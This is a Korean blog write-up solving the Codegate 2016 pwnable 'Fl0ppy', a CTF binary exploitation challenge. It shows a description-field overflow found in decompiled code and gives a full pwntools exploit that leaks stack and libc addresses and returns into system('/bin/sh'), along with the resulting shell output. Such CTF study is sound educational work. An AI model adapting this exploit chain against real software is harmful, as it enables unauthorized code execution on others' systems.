본문 바로가기

CTFs/CodaGate PreQual 2016

[Codegate 2016] pwnable : Fl0ppy

Fl0ppy
1
2
3
4
5
6
7
8
9
zero@ubuntu:~/Desktop/ctf/cg2016$ file ./Fl0ppy
./Fl0ppy: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked
zero@ubuntu:~/Desktop/ctf/cg2016$ gdb -q ./Fl0ppy
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : disabled
cs

이번 문제도 32빝 바이너리에 메모리 프로텍션은은 까나리! 는 없고 대신.... PIE ㅠㅠ 아직 실행은 안해봤지만 귀찮아 지겠군요..

1
2
3
4
5
6
7
8
zero@ubuntu:~/Desktop/ctf/cg2016$ ./Fl0ppy
===========================================================================
1. Choose floppy
2. Write
3. Read
4. Modify
5. Exit
>
cs

음 실행해 보니 5개의 메뉴가 있고 기능은

1 번 메뉴는 1 or 2의 플로피 디스크를 선택할 수 있고

2 번 메뉴에선 Data 와 Description 을 쓸 수 있고 

3 번 메뉴에선 이걸 출력해 줍니다.

4 번 메뉴에선 이 데이터를 선택 후 수정이 가능합니다.


는 일단 대충 감으로 보자면 

1번에서 플로피 선택 후 2번에서 데이터를 좀 많이 넣은 후 3번에서 Leak 된 주소들 값을 읽고 쭉쭉 나가면 될거 같습네다.


그럼 ida 로 까보죠!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Write_Floppy Function :
    puts("Input your data: \n");
    *(floppy_num + 4= malloc(512u);
    memset(*(floppy_num + 4), 0, 512u);
    read(0*(floppy_num + 4), 512u);
    *(floppy_num + 20= strlen(*(floppy_num + 4));
    puts("Description: \n");
    read(0, (floppy_num + 8), 10u);
    *floppy_num = 1;
    result = puts("Now this floppy disk is usable!\n");
 
Modify_Floppy Function :
    puts("Input Description: \n");
    read(0&s, 37u);
    len_des = strlen(&s);
    result = strncpy((floppy_num + 8), &s, len_des - 1);
cs

플로피에 데이터를 쓰는 함수와 수정하는 함수의 일부분 인데요.

Write_Floppy 함수로 플로피 한개의 구조를 다음과 같이 추측이 가능하고

1
2
Floppy Struct : 24 bytes
[ what(4| Data(4| Description(10| dummy(2| size(4) ]
cs

Modify_Floppy 함수를 보면

Description 을 쓸 때는 10바이트를 썼지만 수정할 땐 37 바이트나 수정이 가능하네요!

즉, 이 부분을 통해 overflow 를 시킨 후 read floppy 메뉴를 통해 leaking 된 값들을 볼 수 있겠네용


또 다른 정보로는

1. Floppy2 가 Floppy1 보다 더 낮은 주소에 위치함


그럼 대략적인 페이로드를 짜 보자면

1. Floppy 1 주소(Stack Adress) leaking 

2. __libc_start_main 을 찾는다!

3. Floppy 2 description 에서 512 바이트나 쓸 수 있으니 Floppy 1 overwrite 가능

4. 뭐 그 뒤엔 description 에 RTL 공격 코드 구성해 줘서 넣어주면 끗! 

1
2
3
if ( current_floppy != &num_1_floppy && current_floppy != &num_2_floppy ) {
    puts("Choose floppy disk first!\n");  
}
cs

한가지 주의할 점이 있다면.RET 주소 릭할때 보니 왜안되지 삽질하다 저 코드를 보게 되고 ㅂㄷㅂㄷ...


코드대로 현재 플로피 1 또는 2의 주소가 아니면 플로피를 선택하라 뜨고 Read_Floppy 가 실행이 안된다.

즉, RET 을 Leaking 할때는 current_floppy 가 덮어질 때 이곳엔 제대로 된 주소를 넣어줘야 한다는 점! 

해결 방법 -> 다시 플로피 1을 선택해주면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
 
def Make_Floppy(num):
    p.recvuntil('>\n')
    p.sendline('1')
    p.recvuntil('\n\n')
    p.sendline(str(num))
 
def Write_Floppy(data, des):
    p.recvuntil('>\n')
    p.sendline('2')
    p.recvuntil('\n\n')
    p.sendline(data)
    p.recvuntil('\n\n')
    p.sendline(des)
 
def Modify_Floppy(data, choic):
    p.recvuntil('>\n')
    p.sendline('4')
    p.recvuntil('\n\n')
    p.sendline(str(choic))
    p.recvuntil('\n\n')
    p.sendline(data)
    
def Read_Floppy(data):
    p.recvuntil('>\n')
    p.sendline('3')
    p.recvuntil(data)
    
def leak_stack(): 
    Make_Floppy(1)
    Modify_Floppy('A'*161)
    Read_Floppy('A'*16)
    return p.recv(4)
 
def leak_ret():
    Modify_Floppy('A'*321)
    Make_Floppy(1)
    Read_Floppy('A'*16 + stack + 'A'*12)
    return p.recv(4)
 
def overwrite_floppy():
    Make_Floppy(2)
    Write_Floppy('sh''asdf')
    
    payload = 'A'*20
    payload += p32(u32(stack) + 28# Floppy 1 - data
    Modify_Floppy(payload, 1)
    
def attack():
    overwrite_floppy()
    Make_Floppy(1)
    
    payload = p32(u32(stack) + 60)
    payload += 'AAAA'*6
    payload += system
    payload += 'AAAA'
    payload += binsh # system(binsh)
    Modify_Floppy(payload, 2)
    
    p.recvuntil('>\n')
    p.sendline('5')
    
ret_system = 0x22840 - 0xf7
ret_binsh = 0x1434ff - 0xf7
 
= process("./Fl0ppy")
 
Make_Floppy(1)
Write_Floppy('asdf''asdf')
 
print "/************ Stage 1 - Leaking Basic *******"
stack = leak_stack()
print "Stack : ", hex(u32(stack))
ret = leak_ret()
print "Ret : ", hex(u32(ret))
print "/************ Stage 2 - Leaking Libc  *******"
binsh = p32(u32(ret) + ret_binsh)
print "/bin/sh : ", hex(u32(binsh))
system = p32(u32(ret) + ret_system)
print "System : ", hex(u32(system))
print "/************ Stage 3 - RTL           *******"
attack()
p.interactive()
cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
zero@ubuntu:~/Desktop/ctf/cg2016$ python Fl0ppy.py
[+] Started program './Fl0ppy'
/************ Stage 1 - Leaking Basic *******
Stack :  0xff9b92a4
Ret :  0xf75d9637
/************ Stage 2 - Leaking Libc  *******
/bin/sh :  0xf771ca3f
System :  0xf75fbd80
/************ Stage 3 - RTL           *******
[*] Switching to interactive mode
===========================================================================
 
$ id
uid=1000(zero) gid=1000(zero) groups=1000(zero),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$
cs

'CTFs > CodaGate PreQual 2016' 카테고리의 다른 글

[Codegate 2016] reversing : compress  (0) 2016.08.27
[Codegate 2016] pwnable : Manager  (0) 2016.08.27
[Codegate 2016] pwnable : WaterMelon  (0) 2016.08.27